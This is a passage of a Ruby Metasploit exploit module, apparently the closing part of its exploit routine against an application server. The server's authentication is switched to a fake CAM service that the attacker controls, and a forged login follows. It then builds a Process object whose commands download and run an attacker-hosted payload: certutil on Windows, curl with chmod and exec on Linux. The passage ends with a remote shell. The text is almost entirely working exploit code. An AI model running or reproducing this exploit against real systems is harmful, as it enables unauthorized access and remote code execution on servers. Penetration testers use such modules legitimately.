# do not use SSL for the CAM server!
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
print_status("Starting up the fake CAM server...")
start_service(
{
'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/'
},
}
)
datastore['SSL'] = true if ssl_restore
# Step 4: send the server config update packet, and ignore what it sends back
print_status("Changing authentication method to 4 (CAM auth)")
upd_cent = update_auth(4)
s = get_socket(app[2], app[3], app[5])
sock_rw(s, upd_cent, true)
s.close
# Step 5: send the CAM auth request and obtain the authentication object
# app name
auth_pkt = stradd(app[0])
auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects
# passport, can be random
auth_pkt += stradd(rand_text_alpha(5..12))
# no idea what these vars are, but they don't seem to matter
auth_pkt += stradd(rand_text_alpha(5..12))
auth_pkt += stradd(rand_text_alpha(5..12))
# client IP
auth_pkt += stradd(lhost)
# add the client version number
auth_pkt += VERSION
auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt)
print_status("Authenticating using CAM Passport and our fake CAM Service...")
s = get_socket(app[2], app[3], app[5])
# try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try
# adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network
counter = 1
res_auth = ''
while(counter < datastore['AUTH_ATTEMPTS'])
# send the authenticate request, but wait a bit so that our fake CAM server can respond
res_auth = sock_rw(s, auth_dist, false, 0.5)
if res_auth.length < 20
print_error("Failed to authenticate on attempt number #{counter}, trying again...")
counter += 1
next
else
break
end
end
if counter == datastore['AUTH_ATTEMPTS']
# if we can't auth, bail out, but first restore the old auth method
s.close
#restore_auth(app, auth_current)
fail_with(Failure::Unknown, "Failed to authenticate to the Application server. Run the exploit and try again!")
end
auth_obj = obj_extract(res_auth)
# Step 6: create a Process object
print_status("Creating our Process object...")
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, [])))
payload_url = "http://#{srvhost}:#{srvport}/"
exe_name = rand_text_alpha(5..13)
if target['Platform'] == 'win'
# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line
exe_name += ".exe"
exe_name = "C:\\Windows\\Temp\\" + exe_name
cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"
cmd_two = exe_name
else
# the Linux one can actually be done in one line, but let's make them similar
exe_name = "/tmp/" + exe_name
cmd_one = "curl #{payload_url} -o #{exe_name};"
cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"
end
register_file_for_cleanup(exe_name)
# the first argument is the command
# the second whether it should wait (1) or not (0) for command completion before returning
proc_cmd =
[ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is
[ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script)
stradd("executecommand('#{cmd_one}', 1);") +
stradd("executecommand('#{cmd_two}', 0);")
# Step 7: add the commands into the process object
print_status("Adding command :\"#{cmd_one}\" to the Process object...")
print_status("Adding command :\"#{cmd_two}\" to the Process object...")
sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd))
# Step 8: register the Process object with a random name
obj_name = rand_text_alpha(5..12)
print_status("Registering the Process object under the name '#{obj_name}'")
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name))))
# Step 9: execute the Process!
print_status("Now let's execute the Process object!")
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), true)
s.close
# Step 10: restore the auth method and enjoy the shell!
restore_auth(app, auth_current)
end
end